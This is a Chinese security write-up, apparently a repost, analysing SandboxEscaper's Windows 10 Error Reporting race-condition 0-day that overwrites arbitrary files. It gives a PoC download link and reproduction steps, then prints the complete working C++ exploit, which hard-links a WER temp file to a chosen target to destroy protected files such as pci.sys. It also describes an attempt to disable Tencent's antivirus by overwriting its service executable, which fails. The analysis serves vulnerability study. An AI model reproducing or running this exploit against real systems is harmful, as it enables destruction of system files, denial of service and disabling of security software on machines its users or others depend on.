内容简介:windows任意文件覆盖。安全研究员SandboxEscaper披露Windows操作系统中第四个0-day漏洞的漏洞利用代码,利用该漏洞可以覆盖任意Windows10文件,包括通常无法访问的基本文件,例如SandboxEscaper在POC中给出的pci.sys文件,直接造成系统拒绝服务,当然可以用此方法来关闭第三方杀软,原文如下:
*本文原创作者:markyu,本文属于FreeBuf原创奖励计划,未经许可禁止转载
漏洞名称
windows任意文件覆盖。
漏洞介绍
安全研究员SandboxEscaper披露Windows操作系统中第四个0-day漏洞的漏洞利用代码,利用该漏洞可以覆盖任意Windows10文件,包括通常无法访问的基本文件,例如SandboxEscaper在POC中给出的pci.sys文件,直接造成系统拒绝服务,当然可以用此方法来关闭第三方杀软,原文如下:
其漏洞发生模块为WER(Windows error report),WER是一个灵活的基于事件的反馈基础架构,用户收集硬件和软件发生问题时进行异常回收,然后发送给Microsoft,并给用户提示合适的异常解决方法。
当发生异常时,首先需要使用一系列参数描述该异常,例如应用名字、应用版本、模块名字、模块版本、错误代码等,然后根据这个异常描述,WER模块便通常查询WER服务器给用户返回一个异常修复方法,假如WER服务器上存在该描述的异常,则直接返回解决方案然后通过WER显示给用户,假如WER服务器上没有改描述的异常,则返回一个状态码,通过WER显示并询问用户是否将当前错误发送给微软用于以后研究。
漏洞本质
Time of Check Versus Time of Use(TOCTOU),原理参考 https://www.freebuf.com/vuls/192876.html 。
漏洞利用基础环境
原文中描述该漏洞成功利用限制较多,最少要满足以下三个要求,但经过测试,其必须连接网络要求可以并不需要,实际限制条件只有下面两个:
1.系统版本必须为windows10(其他版本win7、win2008、win2012经测试均无法复现利用), 2.非单个CPU(单CPU多内核也是不满足条件的)
再没有网络连接的时候,在win10上是可以成功复现的,只是会在C:\ProgramData\Microsoft\Windows\WER\ReportQueue路径下留下了\1_1_1_1_1\Report.wer文件,即表示该文文件未成功发送给wer服务器:
POC验证与利用
1.下载 https://github.com/SandboxEscaper/randomrepo/blob/master/angrypolarbearbug.rar POC文件。
2.桌面新建test.txt,随意输入内容:
3.确保Report.wer和AngryPolarBearBug.exe在同一目录,运行POC文件。
4.被覆盖后的test.txt文件如下:
POC原理分析
任意文件覆盖利用成功主要在于主程序中runme(自己创建的线程,在该线程中使用硬链接方式覆盖目标文件)与system(使用计划任务给wer服务器发送异常报告)这两个线程函数存在时间竞争,关于具体实现过程可参考下面源码注释:
#include <iostream> #include "stdafx.h" #include <stdio.h> #include <tchar.h> #include <Windows.h> #include <strsafe.h> const char* targetfile;//定义一个指向需要被覆盖的文件的指针 bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname);//CreateNativeHardlink声明,用于创建一个硬链接 std::wstring s2ws(const std::string& str)//将多字节编码转换成宽字节编码 { int size_needed = MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0);//获取需要的缓冲区大小,类型为int型 std::wstring wstrTo(size_needed, 0);//申请空间时,将缓冲区大小按字符计算 MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed); return wstrTo; } DWORD WINAPI MyThreadFunction(LPVOID lpParam)//定义自己的线程函数 { LPCWSTR filename1;//LPCWSTR指向unicode编码字符串的32位指针 LPCWSTR root = L"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\"; HANDLE hDir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp",FILE_LIST_DIRECTORY,FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,NULL,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,NULL); FILE_NOTIFY_INFORMATION strFileNotifyInfo[1024];//FILE_NOTIFY_INFORMATION定义一个文件通知结构体 DWORD dwBytesReturned = 0; std::wstring extension = L".xml"; std::string targetf(targetfile); std::wstring targetfw = s2ws(targetf); bool blah = false; const wchar_t* targetfww = targetfw.c_str();//targetfww为最终转换后的指向需要被覆盖的文件的指针 while (TRUE) { ReadDirectoryChangesW(hDir, (LPVOID)&strFileNotifyInfo, sizeof(strFileNotifyInfo), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &dwBytesReturned, NULL, NULL);//监控到hDir指向的目录下是否有文件发生改变 filename1 = strFileNotifyInfo[0].FileName;//获取变化的文件名 std::wstring df = std::wstring(root) + filename1;//构造变化的文件的绝对路径 std::wstring::size_type found = df.find(extension);//判断该文件后缀是否为xml if (found != std::wstring::npos)//匹配到了后缀为xml的文件 { LPCWSTR dfc = df.c_str();//指向该变化文件的绝对路径 do { blah = CreateNativeHardlink(dfc,targetfww);//创建一个硬链接,当dfc文件变化时,targetfww文件(需要被覆盖的文件)也会跟着变化 } while (blah == false);//成功返回1,跳出创建线程的循环 return 0; } } return 0; }//那么我们现在只需要创造出一个异常,并保存到C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp目录下,调用该函数时便会成功执行,即覆盖我们的目标文件 void runme() { //创建一个线程 HANDLE mThread = CreateThread(NULL, 0, MyThreadFunction, NULL, 0, NULL);//线程安全属性、堆栈大小、线程函数、线程参数、线程创建属性、线程ID } int main(int argc, const char * argv[]) { if (argc < 2) { //判断输入的参数格式是否正确 std::cout << std::endl << "Please include a filepath as first parameter"; return 0; } DWORD dwFileSize = 0; DWORD dwFileSize2 = 0; targetfile = argv[1];//指向获取需要被覆盖的目标文件绝对路径 HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);//打开需要被覆盖的目标文件 if (hFile == INVALID_HANDLE_VALUE)//打开需要被覆盖的目标文件句柄时发生异常了 { std::cout << std::endl << "I do not have read permissions for this file or file does not exist"; return 0; } dwFileSize = GetFileSize(hFile, NULL);//先获取需要被覆盖的目标文件的大小,用于下面判断该文件是否已经被覆盖 dwFileSize2 = dwFileSize; CloseHandle(hFile);//关闭目标文件句柄 std::cout << std::endl << "/////////////////////////////////////////////////////////" << std::endl << "//抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl << "//抖抖抖抖抖抖ЁЁЁЁ抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl << "//抖抖抖抖?``````````````11Ё抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl << "//抖抖抖1````````````````````````1Ё抖抖抖抖抖抖抖抖抖?/" << std::endl << "//抖抖``````````````````````````````Ё抖抖抖抖抖抖抖?/" << std::endl << "//抖锭```````````````````````````````````1Ф抖抖抖抖抖?/" << std::endl << "//抖``````````````````````````````````````1Ф抖抖抖抖//" << std::endl << "//抖``````````BIPOLAR BEAR`````````````````````1Ф抖抖?/" << std::endl << "//?`1`````````````````````````````````````````1`1抖抖?/" << std::endl << "//锭抖```````````````````````````````````````````1Ф?/" << std::endl << "//抖禶Ё```````````````````````````````````````````Ф抖//" << std::endl << "//抖1``1```````````````````````111Ё抖抖抖ЁФ抖抖抖?/" << std::endl << "//抖````1````````````````````1Ё抖抖抖抖抖抖抖抖抖抖?/" << std::endl << "//锭`````````````11`````````Ё``1抖抖抖抖抖抖抖抖抖抖//" << std::endl << "//禶`````1抖```````抖抖1`````?````抖抖抖抖抖抖抖抖抖抖//" << std::endl << "//禶````Ф抖?`````抖抖```抖1````1抖抖抖抖抖抖抖抖抖?/" << std::endl << "//```Ф抖抖禶```1抖抖```抖禶````抖抖抖抖抖抖抖抖抖?/" << std::endl << "//禶```Ф抖抖禶```1抖抖```抖抖````1抖抖抖抖抖抖抖抖抖//" << std::endl << "//抖111`11抖抖1``````1抖```1Ф?````11抖抖抖抖抖抖抖?/" << std::endl << "//抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖抖?/" << std::endl << "/////////////////////////////////////////////////////////" << std::endl; std::cout << std::endl << "---------------------------------BIPOLAR BEAR SALUTES YOU------------------------------------------------------------" << std::endl; Sleep(2000); do { CreateDirectoryW(L"c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\1_1_1_1_1", NULL);//再c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\下创建1_1_1_1_1子目录 CopyFileW(L"Report.wer", L"c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\1_1_1_1_1\\Report.wer", true);//复制当前目录下Report.wer文件到上面创建子目录中,即将该Report.wer异常包加入异常报告队列 runme();//在发送异常报告时,会在C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp,目录下产出一个临时文件Report.wer,此时便会被我们自己创建的线程捕获,在线程中替换了目标文件 system("SCHTASKS /Run /Tn \"Microsoft\\Windows\\Windows Error Reporting\\QueueReporting\"");//通过system函数调用计划任务运行WER,模拟系统发送给wer服务器发送异常,故该漏洞利用条件之一需要连接网络 HANDLE hFile2 = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);//重新获取目标文件句柄 if (hFile2 != INVALID_HANDLE_VALUE)//判断当前文件大小与上一次的文件大小是否相等,假如相等便成功替换 { dwFileSize2 = GetFileSize(hFile2, NULL); } CloseHandle(hFile2); } while (dwFileSize == dwFileSize2); std::cout << std::endl << "---------------------------------DATA IN FILE SUCCESSFULLY DESTROYED - Press key to exit------------------------------"; getchar();//退出主进程 }
针对于作者原文中提到利用该漏洞可能绕过第三方杀软,我做了如下测试,测试对象为腾讯的电脑管家,尝试覆盖电脑管家运行时的关键文件以达到关闭杀软的效果。
首先打开任务管理器找到电脑关键的核心服务的QQPCMgr RTP Service ,然后再通过services.msc找到该服务,右击属性找到该服务程序的路径,”C:\Program Files (x86)\Tencent\QQPCMgr\13.0.19838.236\QQPCRTP.exe” ,那么我们把该文件覆盖掉是不是就可以关闭电脑管家,操作如下:
尝试覆盖QQPCRTP.exe文件,提示I do not have read permissions for this file or file does not exist,发现我们并不能覆盖该文件,导致该错误是由于,POC中是直接通过CreateFile的方式来获取目标文件句柄的,由于该文件处于正在运行状态,导致获取句柄失败,即关闭杀软失败,无法利用该漏洞去覆盖正在运行的程序。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。